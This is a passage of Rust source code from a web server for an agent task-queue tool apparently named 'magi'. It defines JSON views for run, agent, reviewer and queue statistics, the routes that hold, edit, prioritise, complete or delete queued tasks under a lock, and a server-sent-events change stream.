6355            split_rate: RateView::of(t.split, t.tallied),
6356            deliberated: t.deliberated,
6357            minds_changed: t.minds_changed,
6358            converged: t.converged,
6359            review_rounds: t.review_rounds,
6360        }
6361    }
6362}
6363
6364/// [`crate::stats::AgentStats`] for the wire.
6365#[derive(Debug, Serialize)]
6366struct AgentStatsView {
6367    agent: String,
6368    entered: usize,
6369    wins: usize,
6370    empty: usize,
6371    win_rate: Option<RateView>,
6372    competitive_entered: usize,
6373    competitive_wins: usize,
6374    competitive_win_rate: Option<RateView>,
6375    solo_entered: usize,
6376    solo_adopted: usize,
6377    solo_adoption_rate: Option<RateView>,
6378}
6379
6380impl From<&stats::AgentStats> for AgentStatsView {
6381    fn from(a: &stats::AgentStats) -> Self {
6382        Self {
6383            agent: a.agent.clone(),
6384            entered: a.entered,
6385            wins: a.wins,
6386            empty: a.empty,
6387            win_rate: RateView::of(a.wins, a.entered),
6388            competitive_entered: a.competitive_entered,
6389            competitive_wins: a.competitive_wins,
6390            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6391            solo_entered: a.solo_entered,
6392            solo_adopted: a.solo_adopted,
6393            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6394        }
6395    }
6396}
6397
6398/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6399/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6400/// value, `None` when `rounds` is zero.
6401#[derive(Debug, Serialize)]
6402struct ReviewerStatsView {
6403    agent: String,
6404    rounds: usize,
6405    seated: usize,
6406    submitted: usize,
6407    adopted: usize,
6408    unique: usize,
6409    timeouts: usize,
6410    adopted_per_round: Option<f64>,
6411    precision: Option<RateView>,
6412    unique_rate: Option<RateView>,
6413    timeout_rate: Option<RateView>,
6414}
6415
6416impl From<&stats::ReviewerStats> for ReviewerStatsView {
6417    fn from(r: &stats::ReviewerStats) -> Self {
6418        Self {
6419            agent: r.agent.clone(),
6420            rounds: r.rounds,
6421            seated: r.seated,
6422            submitted: r.submitted,
6423            adopted: r.adopted,
6424            unique: r.unique,
6425            timeouts: r.timeouts,
6426            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6427            precision: RateView::of(r.adopted, r.submitted),
6428            unique_rate: RateView::of(r.unique, r.submitted),
6429            timeout_rate: RateView::of(r.timeouts, r.seated),
6430        }
6431    }
6432}
6433
6434/// [`crate::stats::AdvisorStats`] for the wire.
6435///
6436/// `reflection_rate` is approximate by construction — see
6437/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6438/// that caveat is static text in `index.html`, not a field here.
6439#[derive(Debug, Serialize)]
6440struct AdvisorStatsView {
6441    agent: String,
6442    seated: usize,
6443    proposed: usize,
6444    absent: usize,
6445    faint: usize,
6446    strong: usize,
6447    reflection_rate: Option<RateView>,
6448}
6449
6450impl From<&stats::AdvisorStats> for AdvisorStatsView {
6451    fn from(a: &stats::AdvisorStats) -> Self {
6452        Self {
6453            agent: a.agent.clone(),
6454            seated: a.seated,
6455            proposed: a.proposed,
6456            absent: a.absent,
6457            faint: a.faint,
6458            strong: a.strong,
6459            reflection_rate: RateView::of(a.strong, a.proposed),
6460        }
6461    }
6462}
6463
6464/// [`crate::stats::E2eStats`] for the wire.
6465#[derive(Debug, Serialize)]
6466struct E2eStatsView {
6467    rounds: usize,
6468    failures: usize,
6469    sole_detections: usize,
6470    deferred: usize,
6471    sole_rate: Option<RateView>,
6472}
6473
6474impl From<&stats::E2eStats> for E2eStatsView {
6475    fn from(e: &stats::E2eStats) -> Self {
6476        Self {
6477            rounds: e.rounds,
6478            failures: e.failures,
6479            sole_detections: e.sole_detections,
6480            deferred: e.deferred,
6481            sole_rate: RateView::of(e.sole_detections, e.failures),
6482        }
6483    }
6484}
6485
6486/// [`crate::stats::ReleaseBumpStats`] for the wire.
6487///
6488/// `clean` is sent as a raw count, computed the same way
6489/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
6490/// needs_attention`) — never derived client-side from `automerge_enabled`,
6491/// which would misclassify a `merged_directly` bump (automerge rejected, but
6492/// magi merged it directly, so no human involvement) as needing attention.
6493#[derive(Debug, Serialize)]
6494struct ReleaseBumpStatsView {
6495    merged: usize,
6496    recorded: usize,
6497    pr_opened: usize,
6498    automerge_enabled: usize,
6499    merged_directly: usize,
6500    needs_attention: usize,
6501    clean: usize,
6502    coverage_rate: Option<RateView>,
6503    automerge_rate: Option<RateView>,
6504    attention_rate: Option<RateView>,
6505}
6506
6507impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6508    fn from(b: &stats::ReleaseBumpStats) -> Self {
6509        Self {
6510            merged: b.merged,
6511            recorded: b.recorded,
6512            pr_opened: b.pr_opened,
6513            automerge_enabled: b.automerge_enabled,
6514            merged_directly: b.merged_directly,
6515            needs_attention: b.needs_attention,
6516            clean: b.clean(),
6517            coverage_rate: RateView::of(b.recorded, b.merged),
6518            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6519            attention_rate: RateView::of(b.needs_attention, b.recorded),
6520        }
6521    }
6522}
6523
6524/// [`crate::queue::TaskCounts`] for the wire.
6525#[derive(Debug, Serialize)]
6526struct TaskCountsView {
6527    queued: usize,
6528    running: usize,
6529    done: usize,
6530    failed: usize,
6531    held: usize,
6532    blocked: usize,
6533    parked: usize,
6534}
6535
6536impl From<crate::queue::TaskCounts> for TaskCountsView {
6537    fn from(c: crate::queue::TaskCounts) -> Self {
6538        Self {
6539            queued: c.queued,
6540            running: c.running,
6541            done: c.done,
6542            failed: c.failed,
6543            held: c.held,
6544            blocked: c.blocked,
6545            parked: c.parked,
6546        }
6547    }
6548}
6549
6550/// [`crate::stats::RepoStats`] for the wire, one row per repository with
6551/// runs recorded — the summary the UI's repository selector is built from.
6552/// Carries no nested `Stats`: picking a repo means re-fetching
6553/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
6554/// aggregation rather than duplicating it.
6555#[derive(Debug, Serialize)]
6556struct RepoSummaryView {
6557    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
6558    /// against, full path and all (see [`stats_get`]'s own doc for why).
6559    repo: String,
6560    /// Display name only; never used for matching.
6561    name: String,
6562    runs: usize,
6563    completion_rate: Option<RateView>,
6564}
6565
6566impl From<&stats::RepoStats> for RepoSummaryView {
6567    fn from(r: &stats::RepoStats) -> Self {
6568        let t = &r.stats.totals;
6569        Self {
6570            repo: r.repo.to_string_lossy().into_owned(),
6571            name: r.name.clone(),
6572            runs: t.runs,
6573            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6574        }
6575    }
6576}
6577
6578/// `GET /api/stats` - the whole answer. `Stats` itself carries no
6579/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
6580/// renders from them) are free to grow without that becoming a wire-contract
6581/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
6582/// data" from "computed and it really is zero" the way [`RateView`] does.
6583#[derive(Debug, Serialize)]
6584struct StatsView {
6585    totals: StatsTotalsView,
6586    /// Best win rate first, as [`stats::collect`] already sorts it.
6587    agents: Vec<AgentStatsView>,
6588    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
6589    reviewers: Vec<ReviewerStatsView>,
6590    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
6591    advisors: Vec<AdvisorStatsView>,
6592    e2e: E2eStatsView,
6593    release_bumps: ReleaseBumpStatsView,
6594    queue: Option<TaskCountsView>,
6595    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
6596    /// that field's doc. Asserted to match it in
6597    /// `stats_runs_unreadable_matches_health`.
6598    ///
6599    /// Always the whole-workload count, even when `repo` narrows every other
6600    /// field to one repository - an unreadable `run.json` carries no `repo`
6601    /// a per-repository count could attribute it to, and the queue/health
6602    /// views this mirrors never scope it either. The UI must not present it
6603    /// as if it were scoped to the selected repository.
6604    runs_unreadable: usize,
6605    /// Every repository with runs recorded, most runs first - what the UI's
6606    /// repository selector is built from. Always the full list regardless of
6607    /// `repo`, so switching repositories never needs a second request.
6608    repos: Vec<RepoSummaryView>,
6609    /// Runs per local day over the last 30 days, oldest first, always 30
6610    /// entries. Days are the *server's* local dates (the UI must not convert
6611    /// them again), cut by run creation and classified by current status.
6612    /// Narrowed by `repo` like every other run-derived field.
6613    daily: Vec<DailyStatsView>,
6614    /// The `?repo=` value this response was narrowed to, echoed back so the
6615    /// UI can confirm its selection round-tripped. `None` for the aggregate,
6616    /// all-repositories view.
6617    repo: Option<String>,
6618    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
6619    /// current config roster no longer lists them. Empty with `?all=true`, an
6620    /// unreadable config, or when nothing was retired.
6621    retired_hidden: Vec<String>,
6622}
6623
6624/// One day of [`StatsView::daily`].
6625#[derive(Debug, Serialize)]
6626struct DailyStatsView {
6627    /// `YYYY-MM-DD`, server-local.
6628    date: String,
6629    runs: usize,
6630    merged: usize,
6631    ready: usize,
6632    other: usize,
6633    /// `None` on a day with no runs, so it never reads as 0%.
6634    completion_rate: Option<RateView>,
6635}
6636
6637impl From<&stats::DayBucket> for DailyStatsView {
6638    fn from(b: &stats::DayBucket) -> Self {
6639        Self {
6640            date: b.date.to_string(),
6641            runs: b.runs,
6642            merged: b.merged,
6643            ready: b.ready,
6644            other: b.other,
6645            completion_rate: RateView::of(b.merged + b.ready, b.runs),
6646        }
6647    }
6648}
6649
6650/// How many days [`StatsView::daily`] covers.
6651const STATS_DAILY_DAYS: usize = 30;
6652
6653/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
6654/// repository. Matched by full-path equality against `RunState.repo` only
6655/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
6656/// `--repo` is, because the value here always came from this same route's
6657/// own `repos` list in an earlier response, never typed by a human. A value
6658/// matching no run is a 404, not an empty aggregate: the caller asked for a
6659/// specific, named repository, and silently returning zeroes would look
6660/// exactly like a repository that has runs but none of interest.
6661#[derive(Debug, Default, Deserialize)]
6662#[serde(default)]
6663struct StatsQuery {
6664    repo: Option<String>,
6665    /// `?all=true` keeps agents that are no longer in the roster.
6666    all: bool,
6667    /// The dashboard fetches queue counts independently of run history.
6668    runs_only: bool,
6669}
6670
6671/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
6672/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
6673/// runs when `?repo=` narrows it), the same counting logic `magi stats`
6674/// prints from. Reads every readable run on disk, exactly as
6675/// [`runs_unreadable`] does, so the two counts can never drift apart the way
6676/// a separately-maintained tally could.
6677async fn stats_get(
6678    State(ui): State<Arc<Ui>>,
6679    Query(q): Query<StatsQuery>,
6680) -> ApiResult<Json<StatsView>> {
6681    blocking(move || {
6682        let states: Vec<RunState> = run_ids(&ui.runs)
6683            .into_iter()
6684            .filter_map(|id| read_run(&ui.runs, &id).ok())
6685            .collect();
6686        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6687            .iter()
6688            .map(RepoSummaryView::from)
6689            .collect();
6690        let mut scoped: Vec<&RunState> = states.iter().collect();
6691        let mut collected = match &q.repo {
6692            Some(repo) => {
6693                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6694                if filtered.is_empty() {
6695                    return Err(ApiError::not_found(format!(
6696                        "no runs recorded against repo `{repo}`"
6697                    )));
6698                }
6699                scoped = filtered.clone();
6700                stats::collect_refs(filtered)
6701            }
6702            None => stats::collect(&states),
6703        };
6704        if !q.all {
6705            let repo = q
6706                .repo
6707                .as_deref()
6708                .map_or_else(|| ui.repo.clone(), PathBuf::from);
6709            stats::retain_current_roster(&mut collected, &repo);
6710        }
6711        let daily = stats::daily(
6712            scoped,
6713            jiff::Zoned::now().date(),
6714            &jiff::tz::TimeZone::system(),
6715            STATS_DAILY_DAYS,
6716        );
6717        let queue_counts = (!q.runs_only)
6718            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6719        Ok(Json(StatsView {
6720            totals: StatsTotalsView::from(&collected.totals),
6721            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6722            reviewers: collected
6723                .reviewers
6724                .iter()
6725                .map(ReviewerStatsView::from)
6726                .collect(),
6727            advisors: collected
6728                .advisors
6729                .iter()
6730                .map(AdvisorStatsView::from)
6731                .collect(),
6732            e2e: E2eStatsView::from(&collected.e2e),
6733            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6734            queue: queue_counts,
6735            runs_unreadable: runs_unreadable(&ui.runs),
6736            repos,
6737            daily: daily.iter().map(DailyStatsView::from).collect(),
6738            repo: q.repo.clone(),
6739            retired_hidden: collected.retired_hidden.clone(),
6740        }))
6741    })
6742    .await
6743}
6744
6745/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
6746/// gives no reason - which must keep working, since not every hold has one.
6747#[derive(Debug, Default, Deserialize)]
6748#[serde(default, deny_unknown_fields)]
6749struct HoldBody {
6750    reason: Option<String>,
6751}
6752
6753async fn queue_hold(
6754    State(ui): State<Arc<Ui>>,
6755    Path(id): Path<String>,
6756    body: std::result::Result<Json<HoldBody>, JsonRejection>,
6757) -> ApiResult<Json<TaskView>> {
6758    // An absent body is the ordinary case - most holds are unexplained, and
6759    // that has to stay a one-tap action rather than a form. A body that is
6760    // present and malformed is still a bad request.
6761    let body = match body {
6762        Ok(Json(body)) => body,
6763        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6764        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6765    };
6766    let reason = body.reason.filter(|r| !r.trim().is_empty());
6767    mutate(ui, id, move |t| {
6768        t.hold_manual(reason.clone());
6769        Ok(())
6770    })
6771    .await
6772}
6773
6774async fn queue_release(
6775    State(ui): State<Arc<Ui>>,
6776    Path(id): Path<String>,
6777) -> ApiResult<Json<TaskView>> {
6778    mutate(ui, id, |t| {
6779        t.release_operator("web", None);
6780        Ok(())
6781    })
6782    .await
6783}
6784
6785#[derive(Debug, Deserialize)]
6786#[serde(deny_unknown_fields)]
6787struct AttemptLimitBody {
6788    // Required even when clearing: missing fields must not silently erase an override.
6789    attempt_limit: serde_json::Value,
6790}
6791
6792async fn queue_attempt_limit(
6793    State(ui): State<Arc<Ui>>,
6794    Path(id): Path<String>,
6795    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6796) -> ApiResult<Json<TaskView>> {
6797    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6798    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6799        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6800    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6801}
6802
6803#[derive(Debug, Deserialize)]
6804#[serde(deny_unknown_fields)]
6805struct ImplementersBody {
6806    implementers: u8,
6807}
6808
6809async fn queue_implementers(
6810    State(ui): State<Arc<Ui>>,
6811    Path(id): Path<String>,
6812    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6813) -> ApiResult<Json<TaskView>> {
6814    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6815    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6816}
6817
6818#[derive(Debug, Deserialize)]
6819#[serde(deny_unknown_fields)]
6820struct UrgentBody {
6821    urgent: bool,
6822}
6823
6824async fn queue_urgent(
6825    State(ui): State<Arc<Ui>>,
6826    Path(id): Path<String>,
6827    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6828) -> ApiResult<Json<TaskView>> {
6829    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6830    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6831}
6832
6833/// The body of `POST /api/queue/{id}/priority`.
6834#[derive(Debug, Deserialize)]
6835#[serde(deny_unknown_fields)]
6836struct PriorityBody {
6837    priority: i32,
6838}
6839
6840/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
6841///
6842/// [`Task::set_priority`] is the one place the "not while running" rule is
6843/// stated; this route only carries the body to it and lets its `Err` become
6844/// the 4xx the card shows.
6845async fn queue_priority(
6846    State(ui): State<Arc<Ui>>,
6847    Path(id): Path<String>,
6848    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6849) -> ApiResult<Json<TaskView>> {
6850    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6851    mutate(ui, id, move |t| t.set_priority(body.priority)).await
6852}
6853
6854/// The body of `POST /api/queue/{id}/edit`.
6855#[derive(Debug, Deserialize)]
6856#[serde(deny_unknown_fields)]
6857struct EditBody {
6858    title: String,
6859    instruction: String,
6860    /// Save even though the new text names a branch, commit or pull request
6861    /// that unfinished work already owns.
6862    #[serde(default)]
6863    force: bool,
6864}
6865
6866/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
6867/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
6868/// that refusal's message is what the sheet shows back.
6869async fn queue_edit(
6870    State(ui): State<Arc<Ui>>,
6871    Path(id): Path<String>,
6872    body: std::result::Result<Json<EditBody>, JsonRejection>,
6873) -> ApiResult<Json<TaskView>> {
6874    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6875    // The judge is an agent call, so it is awaited here, outside the claim
6876    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
6877    // remembered, and the save refuses if the task moved underneath it.
6878    let mut judged: Option<(String, PathBuf)> = None;
6879    if !body.force {
6880        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6881        let (id, text) = (id.clone(), body.instruction.clone());
6882        let (seen, hits) = blocking(move || {
6883            let id = resolve_task(&queue, &id)?;
6884            let t = queue.get(&id)?;
6885            if text == t.instruction {
6886                return Ok((None, Vec::new()));
6887            }
6888            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6889            Ok((Some((t.instruction, t.repo)), hits))
6890        })
6891        .await?;
6892        if let Some((_, repo)) = &seen {
6893            let cfg = crate::config::Config::discover(repo, None)
6894                .ok()
6895                .map(|(c, _)| c);
6896            let screened =
6897                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6898                    .await
6899                    .map_err(|dup| {
6900                        ApiError::conflict(dup.render(
6901                            "Nothing was saved. If it is not a duplicate, repeat the request \
6902                             with \"force\": true.",
6903                        ))
6904                    })?;
6905            if let crate::dupes::Screened::Unjudged(why) = screened {
6906                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6907            }
6908        }
6909        judged = seen;
6910    }
6911    let force = body.force;
6912    mutate(ui, id, move |t| {
6913        if !force && body.instruction != t.instruction {
6914            match &judged {
6915                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6916                _ => {
6917                    anyhow::bail!("the task changed while it was being checked; repeat the request")
6918                }
6919            }
6920        }
6921        t.edit(body.title.clone(), body.instruction.clone())
6922    })
6923    .await
6924}
6925
6926/// `POST /api/queue/{id}/done` - close a task as finished without deleting
6927/// it, so the phone's other way to clear a task from the backlog does not
6928/// have to cost the run history, the attribution, and `created_at` the way
6929/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
6930/// can be marked done by hand, because this is for the run the loop never
6931/// saw land - a merge done by hand, or a gate that misreported - and that can
6932/// happen from any status the task was left in.
6933async fn queue_done(
6934    State(ui): State<Arc<Ui>>,
6935    Path(id): Path<String>,
6936) -> ApiResult<Json<TaskView>> {
6937    let home = ui.home.clone();
6938    mutate(ui, id, move |t| {
6939        t.succeed();
6940        // Same as the loop's own settle path: closing a task by hand is just
6941        // as much "this task's story is over" as a daemon-driven `Merged`/
6942        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
6943        // behind must stop looking like it still needs a human. `ui.home`,
6944        // not the process-global `run::home()`: they agree in a real
6945        // process, but only `ui.home` also agrees with a test fixture's own
6946        // directory.
6947        crate::daemon::supersede_prior_runs(t, &home);
6948        Ok(())
6949    })
6950    .await
6951}
6952
6953/// `DELETE /api/queue/{id}`.
6954///
6955/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
6956/// names this task: a `running` status or an orphaned `.lock` left behind by a
6957/// killed daemon is a leftover, and treating either as authority made the
6958/// task undeletable from the phone for good. The associated runs, if any, are
6959/// kept: a run is self-contained history and not an appendage of the task.
6960async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6961    blocking(move || {
6962        let id = resolve_task(&ui.queue, &id)?;
6963        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6964        ui.queue
6965            .remove(&id, in_flight, &ui.questions)
6966            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6967        Ok(StatusCode::NO_CONTENT)
6968    })
6969    .await
6970}
6971
6972/// Read a task, change it, write it back, under the queue's own lock.
6973///
6974/// Taking the same claim a daemon takes is what makes hold, release,
6975/// priority, edit, and done safe to press while magi is running: without it
6976/// the daemon's next save would land on top of the operator's change and
6977/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
6978/// both do, for a running task - and that refusal becomes the 4xx the card
6979/// shows, same as any other domain rule.
6980async fn mutate(
6981    ui: Arc<Ui>,
6982    id: String,
6983    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6984) -> ApiResult<Json<TaskView>> {
6985    blocking(move || {
6986        let id = resolve_task(&ui.queue, &id)?;
6987        // `claim` fails when the lock file already exists, which is the
6988        // conflict the UI must report: the daemon owns that task's file for
6989        // as long as it is running it, and our write would be lost under its
6990        // next save. The message names the lock either way.
6991        let _claim = ui.queue.claim(&id).map_err(|e| {
6992            ApiError::conflict(format!(
6993                "{e:#} - a daemon is running this task, so it cannot be \
6994                 changed from here yet; wait until it is released, then retry"
6995            ))
6996        })?;
6997        let mut task = ui.queue.get(&id)?;
6998        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6999            Ok(dup) => ApiError::conflict(dup.render(
7000                "Nothing was saved. If it is not a duplicate, repeat the request with \
7001                 \"force\": true.",
7002            )),
7003            Err(e) => ApiError::bad_request_from(e),
7004        })?;
7005        ui.queue.put(&mut task)?;
7006        Ok(Json(TaskView::from(task)))
7007    })
7008    .await
7009}
7010
7011/// The change stream: one revision number per store, on connect and whenever
7012/// any of them moves.
7013///
7014/// One shared worker scans stores; clients only forward its notifications.
7015async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7016    ui.monitor.ensure_worker(&ui);
7017    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7018    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7019
7020    let state = Arc::clone(&ui);
7021    tokio::spawn(async move {
7022        let initial_revisions = {
7023            let guard = match state.monitor.latest.lock() {
7024                Ok(g) => g,
7025                Err(p) => p.into_inner(),
7026            };
7027            guard.as_ref().map(|(r, _)| *r)
7028        };
7029        if let Some(revisions) = initial_revisions {
7030            let initial_payload = serde_json::json!({
7031                "queue_rev": revisions.0,
7032                "runs_rev": revisions.1,
7033                "questions_rev": revisions.2,
7034                "talks_rev": revisions.3,
7035                "notifications_rev": revisions.4,
7036                "loop_rev": revisions.5,
7037            });
7038
7039            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7040                if tx.send(event).await.is_err() {
7041                    return;
7042                }
7043            }
7044        }
7045
7046        loop {
7047            match tokio::select! {
7048                _ = tx.closed() => return,
7049                value = broadcast_rx.recv() => value,
7050            } {
7051                Ok(notif) => {
7052                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7053                    else {
7054                        break;
7055                    };
7056                    if tx.send(event).await.is_err() {
7057                        break;
7058                    }
7059                }
7060                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7061                    let revs = {
7062                        let guard = match state.monitor.latest.lock() {
7063                            Ok(g) => g,
7064                            Err(p) => p.into_inner(),
7065                        };
7066                        guard.as_ref().map(|(r, _)| *r)
7067                    };
7068                    if let Some(revs) = revs {
7069                        let payload = serde_json::json!({
7070                            "queue_rev": revs.0,
7071                            "runs_rev": revs.1,
7072                            "questions_rev": revs.2,
7073                            "talks_rev": revs.3,
7074                            "notifications_rev": revs.4,
7075                            "loop_rev": revs.5,
7076                        });
7077                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7078                            if tx.send(event).await.is_err() {
7079                                break;
7080                            }
7081                        }
7082                    }
7083                }
7084                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7085                    break;
7086                }
7087            }
7088        }
7089    });
7090
7091    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7092        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7093}
7094
7095/// Run ids under `runs`, newest first.
7096///
7097/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7098/// which reads the process-global home: the server has to be drivable against
7099/// a temp directory for any of this to be testable.
7100fn run_ids(runs: &FsPath) -> Vec<String> {
7101    let mut ids: Vec<String> = std::fs::read_dir(runs)
7102        .into_iter()
7103        .flatten()
7104        .flatten()
7105        .filter(|e| e.path().join("run.json").is_file())
7106        .map(|e| e.file_name().to_string_lossy().into_owned())
7107        .collect();
7108    // Ids start with a sortable timestamp.
7109    ids.sort_unstable_by(|a, b| b.cmp(a));
7110    ids
7111}
7112
7113/// Read one run's state from an explicit runs root.
7114fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7115    let path = runs.join(id).join("run.json");
7116    let body =
7117        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7118    let state: RunState =
7119        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7120    // The same migration `RunState::load` applies, so a record from the
7121    // previous schema reads here as it does everywhere else (an origin-less
7122    // run shows as "origin unknown") instead of vanishing from the phone the
7123    // moment the schema is bumped.
7124    run::migrate_schema(state)
7125}
7126
7127/// Runs on disk under `runs` whose state this build cannot parse - almost
7128/// always a schema bump, occasionally a run killed mid-write.
7129///
7130/// Exposed so every surface that reports on runs shares one count instead of
7131/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7132/// `magi doctor` calls this directly rather than guessing at the same number
7133/// a second way.
7134#[must_use]
7135pub fn runs_unreadable(runs: &FsPath) -> usize {
7136    run_ids(runs)
7137        .into_iter()
7138        .filter(|id| read_run(runs, id).is_err())
7139        .count()
7140}
7141
7142fn plain_record_id(id: &str) -> bool {
7143    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7144}
7145
7146/// Expand an id or short id to exactly one run id.
7147fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7148    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7149        return Ok(id.to_owned());
7150    }
7151    pick(run_ids(runs), id, "run")
7152}
7153
7154/// Expand an id or short id to exactly one task id.
7155fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7156    if plain_record_id(id) && queue.path_of(id).is_file() {
7157        return Ok(id.to_owned());
7158    }
7159    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7160    pick(ids, id, "task")
7161}
7162
7163/// A question as the phone reads it.
7164///
7165/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7166/// text already parsed into a node tree so the client never runs its own
7167/// markdown reader over agent-authored prose. A relative image path in it
7168/// resolves against this question's own panel asset route, which is the one
7169/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7170/// separate, sandboxed document, but `detail` is rendered inline in the
7171/// operator's own page, so an image reference in it may only ever point at
7172/// files magi itself already serves for this question.
7173#[derive(Debug, Serialize)]
7174struct QuestionView {
7175    choice_effects: std::collections::BTreeMap<String, String>,
7176    record_revision: String,
7177    #[serde(flatten)]
7178    question: Question,
7179    detail_md: Vec<md::Node>,
7180    posting_view: Option<PostingView>,
7181    /// Each thread turn's body, parsed; same order as `question.thread`.
7182    thread_bodies_md: Vec<Vec<md::Node>>,
7183    /// Each thread turn's deputy note, parsed (`None` for a turn without
7184    /// one); same order as `question.thread`.
7185    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7186    /// Is the ball in the agent's court right now?
7187    ///
7188    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7189    /// [`Question::say`] - so this is the one field that tells the phone to
7190    /// disable the answer controls and show "waiting for the agent" instead of
7191    /// a card the owner can act on. Computed rather than stored on
7192    /// [`Question`] itself, on the same reasoning as `waiting` on
7193    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7194    /// it here means the client never has to re-derive that rule.
7195    waiting_on_agent: bool,
7196    /// Who is waiting on this open question - see [`holder_of`]. Separate
7197    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7198    /// anyone is there to take it.
7199    holder: Option<&'static str>,
7200    /// Whether `magi serve` can start a follow-up agent for a conductor
7201    /// question at all: false when `daemon.max_deputies = 0` or the config is
7202    /// unreadable. Separate from `holder`, which says who is listening now.
7203    deputies_enabled: bool,
7204    /// All starts were spent and no live holder remains. Display-only: the
7205    /// final attempt increments `starts` before running under its lease.
7206    deputy_exhausted: bool,
7207    text_delivery: crate::question_delivery::Availability,
7208    /// `question.run` is a task id (conductor / triage questions), not a run
7209    /// id, so the UI links it to the task page.
7210    run_is_task: bool,
7211    /// The existing chat this question's task came from, including settled
7212    /// questions - see [`crate::consult::associated_talk`].
7213    origin_chat: Option<String>,
7214    /// `origin_chat` is closed; consulting reopens it first.
7215    origin_chat_closed: bool,
7216    /// Consultation eligibility is separate from navigation to the chat.
7217    can_consult_chat: bool,
7218}
7219
7220#[derive(Debug, Serialize)]
7221struct PostingView {
7222    before_md: Vec<md::Node>,
7223    after_md: Vec<md::Node>,
7224    fields: Vec<crate::github_text::ComparisonView>,
7225}
7226
7227fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7228    let comparison = question.posting_comparison.as_ref()?;
